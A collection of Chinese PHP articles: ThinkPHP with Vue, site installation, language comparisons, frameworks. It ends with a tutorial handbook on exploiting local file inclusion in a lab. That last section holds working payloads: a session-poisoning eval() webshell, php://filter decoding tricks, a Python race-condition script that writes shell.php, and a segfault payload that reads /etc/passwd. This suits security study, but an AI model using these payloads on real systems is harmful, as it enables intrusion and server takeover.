php用

thinkphp如何使用vue进行web开发

vue可以说是近几年最火最流行的前端js框架,而thinkphp也是国内挺流行的后端框架。看到网上很多朋友的教程都是前端开发者写的,难免对像自己一样的后端程序员是一种打击。“怎么就没有从后台出发讲讲如何使用前端vue框架呢?”我时常这样想。终于我有机会,在一个公司内部的管理系统中成功将两者融合。

整个项目的系统后台使用php的thinkphp框架,前端使用vue的element ui框架,前后台交互使用axios库。这就是整个架构了。我要介绍的重点也就是大家关心的thinkphp,如何与vue交互。

vue中的v-for循环输出可以用thinkphp的volist标签进行替代。

volist标签进行替代v-for

2.vue的v-model绑定到在vue的data()属性中的一个thinkphp的变量(如{$变量名})。作用是前端元素的属性值变化随着{$变量名}变化而变化。记住是v-model="{$vo2['id']}"

v-model绑定到thinkphp的变量

3.vue前端与后台的交互使用axios库。这个axios相当于ajax。

4.按钮的单击事件使用@事件名:"绑定函数名"。如图:click是element ui的事件名称,文档中可以查到.onsubmit是绑定的函数.element ui 的属性以:开头,如:true-label="1",true-label是第六点提到的Checkbox的一个属性.可以参考下文档.

@开头的事件绑定的onsubmit函数使用

5.element ui框架中的事件如何调用呢?这其实就是初次使用的朋友不知道如何写事件的参数.如何知道事件有哪些参数,我想加入自定义的参数而不破坏原先事件自带的参数呢?看到这里朋友们的疑问就可以解决了.请看下面的例子:

我以Checkbox 多选框为例,具体文档大家可以看官网的文档说明.Checkbox 多选框有个change事件

Checkbox 多选框的change事件

change事件有个回调参数,大家一看到这个肯定就晕乎了,这参数传入什么呢,参数到底有几个呢?我测试过它的参数有2个.其中一个是官网上写的"更新后的值",还有一个可能是内置的事件参数(这个参数很多属性,与checkbox对象有关).我是如何判断事件的参数的呢,就是在vue的methods中写一个onclick函数,参数任意给我这给的是a,b,然后console.debug(a,b);即可.下边是输出2个参数的代码:

注意事件名称后边没有括号哦未知参数的前提下输出2个试探参数a,b

通过浏览器控制台的输出可以看到第一个参数就是选中或不选中的值:true/false.第二个参数就是很长的对象了.结果如下:

浏览器输出

写到这里我发现我应该单独拿出来写一篇文章给大家说说,越写越多啊!

接着第5点说,事件中我想加入参数还要带着原有的参数,怎么整呢?好办在

@change绑定事件的名称中加入一个参数$event即可.如下图我第二个参数传的是一个id整数值.

html页面调用element ui的事件

浏览器输出如下:

多加个参数的输出

浏览器控制台的输出结果1是:true-label的值,而7是我数据库表格的id.

经过以上介绍,我就把think PHP中如何使用element ui的知识点基本说到了.如果有朋友没听说讲清楚可以评论中喊我,我看到了就会回复的.欢迎交流.

展开
收起

利用php开源源码搭建步骤

web网站是我们上网的窗口,而网站是如何搭建的呢?今天我们来做一个介绍,以php代码为例来进行介绍(后续会介绍一下java代码搭建,如果想要我这里涉及的工具或源码请私信我)。

1、首先你需要去网上下载你想搭建的源码。

2、安装phpstudy或者其他apache和mysql集成性工具。(我这里用的是phpstudy)

3、把你下载的源码拷贝到phpstudy目录下的www目录里,如下图(这里用iwebshop为例):

拷贝完后直接在你的电脑访问就行了(用你电脑的ip,如果不知道是多少用ipconfig看一下)打开访问就是下图这个样,然后选择同意,点击“下一步”

点击“下一步”

这时候需要提前去mysql数据库中创建数据库iwebshop(名字随便取,只要在下一步填写一样就行)

按照上图“下一步”显示的把数据库配置的文件填写进去

记得记住自己创建的后台用户名密码。点击“下一步”

到这一步,就算安装完成了,记得按照提示把install目录删除掉把,不然会干扰使用

点击“到前台”如下图:

点击到后台如下图:

到此一个开源的php网站安装完成。

总结:

注意事项:在安装过程中注意提前创建数据库,记住数据库的配置信息,方便再安装源码过程中填写。

展开
收起

PHP是否可以应用于App开发

首先,App开发需要一系列开发角色的参与,涉及到后端开发工程师和前端开发工程师,在技术选择上目前也有多种不同的解决方案。从当前PHP的应用场景来看,PHP语言可以用于后端服务开发。

PHP语言是IT(互联网)行业内流行程度相对比较高的编程语言,但是由于PHP语言主要应用在Web开发场景下,所以在当前的大数据、人工智能时代,PHP语言并没有获得更多的关注。虽然PHP语言并没有在大数据时代拓展自身的开发边界,但是由于Web开发领域的市场规模非常大,所以PHP语言依然是最为流行的编程语言之一。

目前App的开发可以分为移动端开发部分和服务端(后端)开发部分,在移动端开发主要涉及到Android开发和iOS开发两大块,其中Android开发可以采用Java和kotlin,而iOS开发可以采用OC和Swift。当然,移动端开发也可以采用多种技术的混合使用,也可以采用框架(混合式)来加速开发过程。

后端开发技术的选择也是比较多的,目前比较常见的后端开发方案就包括Java、Python和PHP等,在大数据和云计算时代,采用Go语言也是一个不错的选择。从这个角度来看,掌握PHP也是可以加入到移动互联网开发团队的。

最后,PHP语言本身的优点是比较多的,包括健全的语言生态体系和较短的开发周期等等,但是由于PHP语言在大数据、云计算和人工智能等新兴技术体系下没有获得更多的应用场景,所以对于PHP程序员来说,可以关注一下Python语言,以便于提升自身的岗位级别和职场价值。

我从事互联网行业多年,目前也在带计算机专业的研究生,主要的研究方向集中在大数据和人工智能领域,我会陆续写一些关于互联网技术方面的文章,感兴趣的朋友可以关注我,相信一定会有所收获。

如果有互联网、大数据、人工智能等方面的问题,或者是考研方面的问题,都可以在评论区留言,或者私信我!

展开
收起

作为多年 PHP 的开发者,在使用了 Go 语言之后……

Go 是一种功能强大的编程语言,具有独特的功能组合。而 PHP 是在服务器端执行的脚本语言,与 C 语言类似,是常用的网站编程语言,同时适用于所有微服务、小型、中型乃至大型应用程序。对于开发者而言,两者在使用过程中,有哪些不同的体验?本文即将为大家揭晓。

作者 | Dan Gurgui

译者 | 弯月,责编 | 屠敏

16岁的时候,我发现了PHP。这是我学习的第一门编程语言。当时,我利用PHP来检查用户提交的表单并发送电子邮件,大多数表单都是“联系我们”。多年以来,我始终将PHP作为我的强项,且坚持不懈地发展壮大自己的PHP知识和技能。虽然我觉得自己算不上PHP高手,但这是我最了解的编程语言。以前,我曾有机会在小型项目中使用Ruby、Java、Python和NodeJS。我通过这些经验比较PHP和其他编程语言,了解如何更好地利用PHP的优点并克服它的缺点。

6个月前,我成为了 MessageBird 的一名工程师。申请工作的时候,我填写了PHP,但是我没想到入职后我就开始使用 GoLang,而且与PHP渐行渐远。这种一次很好的经历,在这段时间里,我学习了一种新的编程语言,而如今我又回到了PHP,同时我还拥有6个月的Go编程经验。

Go是一种功能强大的编程语言,具有独特的功能组合。我很遗憾没能更深入地学习Go。我返回PHP的原因与编程语言本身无关,但是,我想总结一下这6个月的经验,并比较一下这两种语言。

静态与动态

GoLang是一种静态编程语言,不像PHP那样是动态的。因此,你需要在初始化变量和对象时提前想清楚。在PHP中,你永远不会初始化变量,需要时当场使用就可以了。因此,在声明一个新变量之前,对于GoLang而言你需要三思而后行,我发现这比在PHP中检查变量的做法更有效率。PHP 7添加了类型声明,这是一个更好的实践,但是在编写代码之前三思而后行是一种更健康的做法。

子程序与并行处理

GoLang 非常神奇的功能之一就是goroutine。这个功能支持异步运行功能。PHP中没有任何功能与Goroutines的简单性和易用性相提并论。每当需要在PHP中进行并行处理时,你都需要添加外部的排队机制(Beanstalk、RabbitMQ等)。这会加剧基础架构的复杂性,并增加项目的复杂性。

GoLang的并行处理远远超越了PHP。

面向对象功能

自从编程问世以来,面向对象的概念一直拥有一席之地。90年代,面向对象在C++中得到了广泛应用,也因此成为了主流范式。面向对象最吸引我的地方在于,它允许工程师使用代码创建业务逻辑图,事实证明,当不断发展的系统发生变化时,这种做法提供的价值无可限量。PHP和GoLang都提供面向对象的功能,但是,这两种语言之间存在很大差异。

我花了很长时间才习惯了隐式接口。在GoLang中,在实现所有方法后,类型就会满足接口要求。但在PHP中,你需要显式地定义类型所需的接口,然后开始实现。有了Go的这一功能,你不需要提前思考应用程序的接口,这一点与我对静态类型语言的认知正好相反。

不断发展的模型具有复杂的需求,而领域驱动的设计可以满足这种需求。为此,你需要许多面向对象的功能,PHP也的确提供了许多这样的功能:trait、抽象方法和类,final方法和类,魔术方法等等。GoLang缺少这些功能,这是一个难以克服的限制条件。因此,我认为GoLang仅适用于微服务或小型应用程序,而PHP适用于所有微服务、小型、中型乃至大型应用程序。

测试

我认为,在决定项目质量方面,测试是最重要的工作:单元测试、集成测试、功能测试、UI测试、性能测试等等,项目拥有的测试越多,交付的质量就越好。GO和PHP的单元测试框架都很出色,Go拥有嵌入式测试包,而PHP有 PHPUnit,它们都提供了一组丰富的功能,可用于测试你的代码。PHPUnit的功能比GoLang测试包更多,因为PHP的功能更多。这两种工具都可以完成编程语言的工作。然而, 在进行高级测试时,PHP和Go就会表现出很大的不同。

首先,对于性能测试,Go的测试包中拥有很多性能测试的功能。pprof 等许多库都可以使用这些功能来创建华丽的数据报告。虽然PHP也有一套可用于性能测试的库和技术,但Go的更加易于使用。我相信这是静态类型语言的优势之一。

其次,对于高级测试技术(例如BDD、TDD和A/B测试),PHP拥有更多支持、更多库,还有一个更大的社区。例如,两种语言都实现了Cucumber(或Gherkin),但是PHP 的 BEHAT 实现支持40多种语言,是完全基于独立组件构建的,而且在GitHub上的支持比Cucumber更多(更多分支、更多给星等等)。

最后,对于功能测试或UI测试,PHP的库更多,且对现有工具的支持更好。Selenium 拥有非常强大的PHP支持(3000多个跨浏览器测试、视频记录、文本和可视日志等),而对于Go来说,只有一个没有良好维护的驱动程序 tebeka / selenium(最后一次提交发生在5个月前)。

其他差异

两种语言之间还有许多其他差异,重点包括:

GoLang 的性能比PHP更好。我们有数百种基准,可以在各种情况下测试 PHP 和 GoLang,但大多数时候明显都是 GoLang 胜出。最重要的是,Go的开发速度很快:测试运行速度更快、内存使用效率更高、CPU使用率更低。PHP社区的人数远远超过了 GoLang,而且支持非常出色。我发现 GoLang 使用了许多糟糕的东西,例如代码生成器,这都是PHP社区几年前抛弃的东西。打包维护也很不相同。在GoLang中,打包维护是内部管理的;而PHP有两层不同的实现方式:第一,PHP扩展级别;第二,每个人都使用的库级别。PHP的情况更为复杂,而go则将两层管理放到了一起。

最后一点想法

这两种语言有明显的区别,在两者之间做选择非常容易。GoLang 的性能更好,拥有原生异步功能以及其他基本功能,非常适合需要频繁使用的小型应用程序和微服务。

然而,随着应用程序的不断增长,业务逻辑复杂度加剧的情况下,PHP是很自然的选择,因为你可以充分利用PHP的面向对象功能和社区支持。

原文:https://medium.com/swlh/6-months-with-golang-after-many-years-with-php-c52124fb7da?

本文为 CSDN 翻译,转载请注明来源出处。

【End】

展开
收起

五个php最常用的开发框架 为什么国人都喜欢TP框架?

编程开发框架是什么?通俗的讲是别人封装好常用方法,开发者直接调用或使用即可。

php发展到现在已经有24年,目前php流行框架大概有十几个左右,我们常用的也是目前市场上需求最大的五个框架,分别是:ThinkPHP(国内)、Zend Framework(国外)、Yii(国外)、Laravel(中外)、CakePHP(国外)。

很多网友发现,php很多框架都是国外开发的,目前纯属于国人自己开发的只有thinkphp框架,我们简称“TP”框架。Laravel为什么说中外开发呢?Laravel目前中文文档也是比较全面,而且有中国自己人参与开发,也是目前国内使用率比较的php框架,现在流行前后台模板分离,Laravel在API设计是目前所有php框架中最好的一个,所有Laravel未来在国内市场还会继续上升。

很多国内企业开发喜欢用Zend Framework与Yii,这两个框架适合大型项目开发。对于大型项目中,他们开发简单、高效,扩展支持多。其中Yii将 Web编程中的可重用性发挥到极致,能够显著加速开发进程。CakePHP是基于十分注重快速开发,使得它成为一个非常好的用于RAD的开发框架。

最后我们来说下,我们国人自己开发的TP框架,也是目前国人使用最多的框架。初学者学习框架优先选择TP框架,完全免费中文文档,学习资料齐全,不用翻译也不用担心看不懂,学习社区也非常多。在TP5.0出来之后,号称是为API而生,其中开发模式是MVC,开发方式和思维符合我们国人的开发思维。

其实为什么国人都喜欢TP框架是:简单、资料多、容易上手、完美胜任日常项目、后期维护简单。

责任编辑:莫兰新

展开
收起

PHP 败给 Python 的十大理由

Python大法好!

作者 | myTectra,一家位于班加罗尔的技能开发公司。

译者 | 弯月

责编 | 郭芮

以下为译文:

在过去的两年中,Python一直呈急剧上升的趋势。在后台开发中,PHP和Python是Web专家和开发人员最热门的两个选择。

选择Python代替PHP进行Web开发并不困难,但是我们有很多理由建议开发人员选择前者。在这篇文章中,我们将看一看Python这门编程语言比PHP更优秀的地方。

如何比较Python与PHP?

PHP已经存在很长时间了,而且它还将继续存在,以下是Python迅速崛起并取代PHP成为更好的语言的十大理由。

1.深思熟虑的设计

即使PHP很好用,但它也算不上一门精致的语言。任何对软件开发有一定了解的开发人员都可以用PHP编写出优秀的软件。但是,使用PHP需要付出一些代价。

Python的架构让其成为了深思熟虑、设计精良且功能强大的语言。相反,PHP的设计似乎没有经过深思熟虑。对于经过专业训练的开发人员而言,Python做了许多努力才让自身成为一门健壮的编程语言,而且也更容易掌握和使用。

2.易于学习

PHP和Python使用起来都很容易。两者都有很好的文档。但是,如果你是开发人员,你应该从长远来考虑能为你带来最大价值的东西。你肯定希望使用能够与你建立深厚、丰富和持久关系的语言。

如果你是一位经验丰富的开发人员,那么你需要考虑语言的未来。你应该使用能够为你建立牢固的关系并能够发挥最大优势的语言。

3.框架

框架通过为开发人员提供应用程序的开发结构,减轻开发人员的负担。Python主要提供的框架有Django、Flask等。PHP的框架有Kohana、Symfony、CodeIgniter和Zend。

论及Python框架,Django有明显的优势。Django易于使用、安全且速度很快。新手开发人员选择Django是因为这个框架可以缩短开发时间并简化设置。

4.更准确

PHP基本上是遵循经典的方式。而Python采用非常严格的缩进。Python不仅比PHP更精确,而且比大多数其他编程语言都精确。

5.简化的语法

Python的语法更为简单,用Python编写代码较为容易。用Python编写的代码看起来很优雅,这可能是Python比PHP略胜一筹的另一个原因。

6.易于获取的工具

Python提供了一个强大的调试器,名叫PDB(Python Debugger)。PDB有良好的文档,易于使用,方便初学者使用。PHP也提供了一个名为X Debug的调试包,用起来也不错。Python获胜的一个地方是它所需要的调试工具比PHP少。

7.包管理

PHP中确实有包管理,但是支持PHP包管理的代码远远不如支持PIP(安装与管理Python包的工具)的代码那么广泛。你能够利用PIP安装、卸载、升级和使用大量的内部和外部的库。

8.Python提供的Lambda优于PHP

Python中的Lambda很容易使用,而且易于创建。因此,Python开发人员都喜欢在适合的业务中使用Lambda。

以前,PHP仅支持'create_function',但它并不能完全等价于Python中的Lambda。

9.Python比PHP更通用

网站开发并不是Python唯一值得关注的一个方面,Python在机器学习、数据科学、图像处理以及桌面和移动应用程序开发中也有很多应用。而另一方面,可能除了Web开发之外PHP也可以用于其它目的,但它的主要目的和优势都在于创建网页。

10.支持和社区

在功能性、现代化、简洁、优雅和易用等方面,Python都有PHP无可比拟的优势。Python拥有大量开发、脚本、科研应用等方面的用例,它还拥有一个庞大的社区。

原文:https://medium.com/quick-code/10-reasons-why-python-beats-php-for-web-development-c1af7d785816本文为 CSDN 翻译,如需转载,请注明来源出处。作者独立观点,不代表 CSDN 立场。

展开
收起

PHP文件包含漏洞利用思路与Bypass总结手册(完结)

Bypass-Session限制

LFI-Base64Encode

很多时候服务器上存储的Session信息都是经过处理的(编码或加密),这个时候假如我们利用本地文件包含漏洞直接包含恶意session的时候是没有效果的。那么该怎么去绕过这个限制呢,一般做法是逆过程,既然他选择了编码或加密,我们就可以尝试着利用解码或解密的手段还原真实session,然后再去包含,这个时候就能够将恶意的session信息包含利用成功。

很多时候服务器上的session信息会由base64编码之后再进行存储,那么假如存在本地文件包含漏洞的时候该怎么去利用绕过呢?下面通过一个案例进行讲解与利用。

测试代码

session.php

常规利用

正常情况下我们会先传入恶意代码在服务器上存储恶意session文件

正常情况下我们会先传入恶意代码在服务器上存储恶意session文件

然后在利用文件包含漏洞去包含session

从包含结果可以看到我们包含的session被编码了,导致LFI -> session失败。

在不知道源代码的情况下,从编码上看可以判断是base64编码处理的

在这里可以用逆向思维想一下,他既然对我们传入的session进行了base64编码,那么我们是不是只要对其进行base64解码然后再包含不就可以了,这个时候php://filter就可以利用上了。

构造payload

index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl

意外的事情发生了,你发现解码后包含的内容竟然是乱码!!这是为什么呢??

bypass serialize_handler=php

对于上面利用php://filter的base64解码功能进行解码包含出现了错误,还是不能够利用成功,回过头仔细想想会发现,session存储的一部分信息是用户名base64编码后的信息,然而我们对session进行base64解码的是整个session信息,也就是说编码和解码的因果关系不对,也就导致解码的结果是乱码。

那有没有什么办法可以让base64编码和解码的因果关系对照上,答案是有的,先来了解一下base64编码与解码的原理。

Base64编码与解码Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。

(1)base64编码过程

Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。

由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。

完整的Base64定义可见RFC1421和RFC2045。因为Base64算法是将3个字节原数据编码为4个字节新数据,所以Base64编码后的数据比原始数据略长,为原来的4/3。

(2)简单编码流程

1)将所有字符转化为ASCII码;2)将ASCII码转化为8位二进制;3)将8位二进制3个归成一组(不足3个在后边补0)共24位,再拆分成4组,每组6位;4)将每组6位的二进制转为十进制;5)从Base64编码表获取十进制对应的Base64编码;

(3)base64解码过程

base64解码,即是base64编码的逆过程,如果理解了编码过程,解码过程也就容易理解。将base64编码数据根据编码表分别索引到编码值,然后每4个编码值一组组成一个24位的数据流,解码为3个字符。对于末尾位“=”的base64数据,最终取得的4字节数据,需要去掉“=”再进行转换。

(4)base64解码特点

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。下面编写一个简单的代码,测试一组数据看是否满足我们所说的情况。

测试代码探测base64_decode解码的特点

运行结果

从结果中可以看到一个字符串中,不管出现多少个特殊字符或者位置差异,都不会影响最终的结果,可以验证base64_decode是遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

Bypass base64_encode了解了base64编码原理之后和解码的特点,怎么让base64解码和编码的因果关系对照上,其实就很简单了,我们只要让session文件中base64编码的前面这一部分username|s:40:"正常解码就可以,怎么才能正常解码呢,需要满足base64解码的原理,就是4个字节能够还原原始的3个字节信息,也就是说session前面的这部分数据长度需要满足4的整数倍,如果不满足的话,就会影响session后面真正的base64编码的信息,也就导致上面出现的乱码情况。

Bypass分析判断正常情况下base64解码包含serialize_handler=php处理过的原始session信息,未能正常解析执行

username|s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=";?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl

依据base64编码和解码的特点进行分析,当session存储的信息中用户名编码后的长度为个位数时,username|s:1:"这部分数据长度为14,实际解码为usernames1,实际长度为10,不满足情况。

4组解码->缺少两个字节,后面需占两位(X 代表占位符)

username|s:1:" //原始未处理信息

user name s1XX //base64解码特点,去除特殊字符,填充两个字节'XX'

当session存储的信息中用户名编码后的长度为两位数时,username|s:11:"这部分数据长度为15,实际解码为usernames11,实际长度为11,不满足情况。

4组解码->缺少一个字节,后面需占一位

username|s:11:" //原始未处理信息

user name s11X //base64解码特点,去除特殊字符,填充一个字节'X'

当session存储的信息中用户名编码后的长度为三位数时,username|s:111:"

这部分数据长度为16,实际解码为usernames111,长度为12,满足情况。

4组解码->缺少零个字节,后面需占零位

username|s:11:" //原始未处理信息user name s111 //base64解码特点,去除特殊字符,填充0个字节'X'

这种情况下刚好满足,即使前面这部分数据正常解码后的结果是乱码,也不会影响后面恶意代码的正常解码。

构造可利用payload

构造payload传入恶意session

http://192.33.6.145/FI/session/session.phpPOST:username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>

构造payload包含恶意session

http://192.33.6.145/FI/index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5plPOST:mtfq=phpinfo();

从相应结果中可以看到,在PHP默认的会话处理模式serialize_handler=php下,我们这次构造的payload成功解析了,达到了预期的目的。

bypass serialize_handler=php_serialize

在这里可能有人会想上面默认处理的是session.serialize_handler = php这种模式,那么针对session.serialize_handler = php_serialize这种处理方式呢,答案是一样的,只要能构造出相应的payload

满足恶意代码的正常解码就可以。

限制session包含的代码session.php

Bypass分析判断正常情况下base64解码包含serialize_handler=php_serialize处理过的原始session信息,未能正常解析执行

a:1:{s:8:"username";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=";}?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s

依据base64编码和解码的特点进行分析,当session存储的信息中用户名编码后的长度为个位数时,a:1:{s:8:"username";s:1:"这部分数据长度为25,实际解码为a1s8usernames1,实际长度为14,不满足情况。

4组解码->缺少两个字节,后面需占两位(X 代表占位符)

a:1:{s:8:"username";s:1:" //原始未处理信息

a1s8 user name s1XX //base64解码特点,去除特殊字符,填充两个字节'XX'

当session存储的信息中用户名编码后的长度为两位数时,a:1:{s:8:"username";s:11:"

这部分数据长度为26,实际解码为a1s8usernames11,实际长度为15,不满足情况。

4组解码->缺少一个字节,后面需占一位

a:1:{s:8:"username";s:11:" //原始未处理信息a1s8 user name s11X //base64解码特点,去除特殊字符,填充一个字节'X'

当session存储的信息中用户名编码后的长度为三位数时,a:1:{s:8:"username";s:11:"

这部分数据长度为27,实际解码为``a1s8usernames111`,长度为16,满足情况。

4组解码->缺少零个字节,后面需占零位

a:1:{s:8:"username";s:111:" //原始未处理信息

a1s8 user name s111 //base64解码特点,去除特殊字符,填充0个字节'X'

这种情况下刚好满足,即使前面这部分数据正常解码后的结果是乱码,也不会影响后面恶意代码的正常解码。

构造可利用payload

构造payload传入恶意session

http://192.33.6.145/FI/session/session.phpPOST:username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>

构造payload包含恶意session

http://192.33.6.145/FI/session/index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s

POST:mtfq=phpinfo();

从相应结果中可以看到,这种模式下session.serialize_handler = php_serialize,我们构造的payload也成功的解析了,同样达到了预期的目的。

LFI-session_start()

一般情况下,session_start()作为会话的开始出现在用户登录等地方以维持会话,但是,如果一个站点存在LFI漏洞,却没有用户会话那么该怎么去包含session信息呢,这个时候我们就要想想系统内部本身有没有什么地方可以直接帮助我们产生session并且一部分数据是用户可控的,很意外的是这种情况存在,下面分析一下怎么去利用。

phpinfo session

想要具体了解session信息就要熟悉session在系统中有哪些配置。默认情况下,session.use_strict_mode值是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=Qftm,PHP将会在服务器上创建一个文件:/var/lib/php/sessions/sess_Qftm。

但这个技巧的实现要满足一个条件:服务器上需要已经初始化Session。在PHP中,通常初始化Session的操作是执行session_start()。所以我们在审计PHP代码的时候,会在一些公共文件或入口文件里看到上述代码。那么,如果一个网站没有执行这个初始化的操作,是不是就不能在服务器上创建文件了呢?很意外是可以的。下面看一下php.ini里面关键的几个配置项

session.auto_start:顾名思义,如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的。

session.upload_progress.enabled = on:默认开启这个选项,表示upload_progress功能开始,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

session.upload_progress.cleanup = on:默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。

session.upload_progress.prefix = "upload_progress_":

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS":当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。

session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。

session.upload_progress:php>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。那么,如何利用这个特性呢?

查看官方给的案列

PHP_SESSION_UPLOAD_PROGRESS的官方手册

http://php.net/manual/zh/session.upload-progress.php

一个上传进度数组的结构的例子

<form action="upload.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /></form>

在session中存放的数据看上去是这样子的:

<?php$_SESSION["upload_progress_123"] = array("start_time" => 1234567890, // The request time "content_length" => 57343257, // POST content length "bytes_processed" => 453489, // Amount of bytes received and processed "done" => false, // true when the POST handler has finished, successfully or not "files" => array( 0 => array( "field_name" => "file1", // Name of the <input/> field // The following 3 elements equals those in $_FILES "name" => "foo.avi", "tmp_name" => "/tmp/phpxxxxxx", "error" => 0, "done" => true, // True when the POST handler has finished handling this file "start_time" => 1234567890, // When this file has started to be processed "bytes_processed" => 57343250, // Amount of bytes received and processed for this file ), // An other file, not finished uploading, in the same request 1 => array( "field_name" => "file2", "name" => "bar.avi", "tmp_name" => NULL, "error" => 0, "done" => false, "start_time" => 1234567899, "bytes_processed" => 54554, ), ));

Bypass思路分析

从官方的案例和结果可以看到session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置PHPSESSID=Qftm

(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=Qftm,所以Session文件将会自动创建。

事实上并不能完全的利用成功,因为session.upload_progress.cleanup = on

这个默认选项会有限制,当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可。

Bypass思路梳理

(1)upload file

files={'file': ('a.txt', "xxxxxxx")}

(2)设置cookie PHPSESSID

session.use_strict_mode=0造成Session ID可控PHPSESSID=Qftm

(3)POST一个字段PHP_SESSION_UPLOAD_PROGRESS

session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS",在session中可控,同时,触发系统初始化session

"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

(4)session.upload_progress.cleanup = on

多线程,时间竞争

Bypass攻击利用

脚本利用攻击(1)编写Exp

import ioimport sysimport requestsimport threadingsessid = 'Qftm'def POST(session):while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://192.33.6.145/index.php', data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"}, files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} )def READ(session): while True: response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}') # print('[+++]retry') # print(response.text) if 'flag' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0)with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)

(2)攻击效果

服务器生成:sess_Qftm

恶意代码执行

Getshell

表单利用攻击这里可以更改官方给的案例进行利用upload.html

<!doctype html><html><body><form action="http://192.33.6.145/index.php" method="post" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" vaule="<?php phpinfo(); ?>" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /></form></body></html>

但是同样需要注意的是,cleanup是on,所以需要条件竞争,使用BP抓包,一遍疯狂发包,一遍疯狂请求。

(1)上传文件

(2)发包传入恶意会话

设置Cookie: PHPSESSID=123456789

(自定义sessionID),不断发包,生成session,传入恶意会话

请求载荷设置Null payloads

不断发包维持恶意session的存储

不断发包的情况下,在服务器上可以看到传入的恶意session

(3)发包请求恶意会话

不断发出请求包含恶意的session

请求载荷设置

Null payloads

在一端不断发包维持恶意session存储的时候,另一端不断发包请求包含恶意的session

从结果中可以看到,利用表单攻击的这种手法也是可以的,可以看到恶意代码包含执行成功。

Bypass-phpinfo()

LFI-php7 Segment Fault

利用条件

利用条件:7.0.0 <= PHP Version < 7.0.28

漏洞分析

在上面包含姿势中提到的包含临时文件,需要知道phpinfo同时还需条件竞争,但如果没有phpinfo的存在,我们就很难利用上述方法去getshell。

那么如果目标不存在phpinfo,应该如何处理呢?这里可以用php7 segment fault特性(CVE-2018-14884)进行Bypass。

php代码中使用php://filter的过滤器strip_tags , 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不想phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

漏洞修复

PHP Version 7.0.28时已经修复该漏洞

攻击载荷

依据漏洞分析构造可利用的payload:

http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd

